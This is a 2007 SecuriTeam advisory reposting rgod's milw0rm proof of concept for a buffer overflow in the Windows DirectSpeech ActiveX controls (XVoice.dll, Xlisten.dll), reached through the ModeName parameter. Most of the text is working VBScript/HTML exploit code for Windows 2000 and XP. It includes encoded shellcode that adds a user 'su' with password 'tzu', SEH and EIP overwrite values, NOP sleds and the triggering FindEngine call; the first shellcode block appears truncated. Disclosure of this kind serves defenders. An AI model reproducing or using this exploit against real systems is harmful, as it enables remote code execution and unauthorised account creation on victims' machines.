

[EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-06/msg00018.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 13 Jun 2007 10:42:37 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)

SUMMARY

An exploitable buffer overflow in Microsoft Windows' DirectSpeechSynthesis and DirectSpeechRecognition allows attackers to cause the user to execute arbitrary code by overflowing the ModeName parameter of the ActiveX.

DETAILS

Exploits:

<!--

01/06/2007 23.19.50

Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll)

/ DirectSpeechRecognition Module (Xlisten.dll)

remote buffer overflow exploit / 2k sp4 seh version

both the dlls are located in %SystemRoot%\speech folder
and they are vulnerable to the same issue.

while on 2k it depends on activex settings, under xp they are both
set to "safe for a trusted caller", i.e. Internet Explorer

registers after that some chars are passed to ModeName argument

[EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)

```
%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%84%6e%40%6e%40%6e%80%e4%6e%40%6e%40%6e%80%
f8%6e%40%6e%40%6e%80%77%6e%40%6e%40%6e%80%96%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%13%6e%40%6e%40%6e%
80%89%6e%40%6e%40%6e%80%fb%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%8b%6e%40%6e%40%6e%80%e9%6e%40%6e%40%
6e%80%0f%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%73%6e%40%6e%40%6e%80%cf%6e%40%6e%
40%6e%80%14%6e%40%6e%40%6e%80%6e%6e%40%6e%40%6e%80%8c%6e%40%6e%40%6e%80%1f%6e%40%6e%40%6e%80%22%6e%40%
6e%40%6e%80%9e%6e%40%6e%40%6e%80%ae%6e%40%6e%40%6e%80%4e%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%fc%6e%
40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%72%6e%40%6e%40%6e%80%38%6e%40%6e%40%6e%80%07%6e%40%6e%40%6e%80%17%
6e%40%6e%40%6e%80%83%6e%40%6e%40%6e%80%67%6e%40%6e%40%6e%80%4b%6e%40%6e%40%6e%80%68%6e%40%6e%40")
```

```
seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with
msfpescan
eax = unescape("%01%12") : REM fix eax register, we fall in a more
convenient condition
```

```
suntzu = String(950, "A") + eax + seh_handler + code + scode_fragment
```

```
EngineID="default"
MfgName="default"
ProductName="default"
ModeID="default"
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style="default"
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
```

[EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)

RankEngineFeatures=1

DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName,
LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces,
EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID,
RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle,
RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures

</script>

</html>

milw0rm.com [2007-06-13]

<!--

6.30 10/06/2007

Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll 4.0.4.2512)

/ DirectSpeechRecognition Module (Xlisten.dll 4.0.4.2512)

remote buffer overflow exploit/ xp sp2 version

both dlls are vulnerable, this is the poc for the first one
worked regardless of boot.ini settings, remotely and
by dragging the html file in the browser window
tested against IE 6

by A. Micalizzi (aka rgod)

this is dedicated to Sara, and greetings to shinnai, a good comrade

***note: this was indipendently discovered by me and Will Dormann during
the
same period, documented here:

<http://www.kb.cert.org/vuls/id/507433>

<http://www.microsoft.com/technet/security/Bulletin/MS07-033.msp>

the affected package,

[http://www.microsoft.com/speech/AppHelp\(SAPI4\)/sapi4.asp](http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp)

is still distributed with the kill bit not set

-->

<html>

<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE'

id='DirectSS'></OBJECT>

<script language='vbscript'>

REM metasploit, add a user 'su' with pass 'tzu'

```
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30")
```

[EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)

```
%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68
%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31
%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30
%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d
%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65
%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c
%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b
%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70
%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b
%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58
%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b
%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78
%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73
%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53
%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64
%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50
%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70
%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63
%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51
%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61
%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f
%32%41%61%74%71%74%35%50%44") + NOP
```

```
eax= unescape("%ff%13")
ebp= unescape("%ff%13")
eip= unescape("%01%0a") : REM jmp to scode, UNICODE expanded
jnk= string(50,unescape("%13"))
```

```
suntzu = string(888,"A") + ebp + eip + eax + jnk
```

```
bufferI = string(9999999,"X")
bufferII = string(9999999,"Y")
bufferIII = string(9999999,"Z")
bufferIV = string(9999999,"O")
```

```
EngineID= string(200000,"b")
MfgName="default"
ProductName="default"
ModeID= string(199544,unescape("%90")) + scode
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style=1
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
```

[EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)

RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1

DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName,
LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces,
EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID,
RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle,
RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures

</script>
</html>

milw0rm.com [2007-06-13]

ADDITIONAL INFORMATION

The information has been provided by A. Micalizzi (aka rgod).

The original article can be found at:

<<http://www.milw0rm.com/exploits/4066>>

<http://www.milw0rm.com/exploits/4066>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.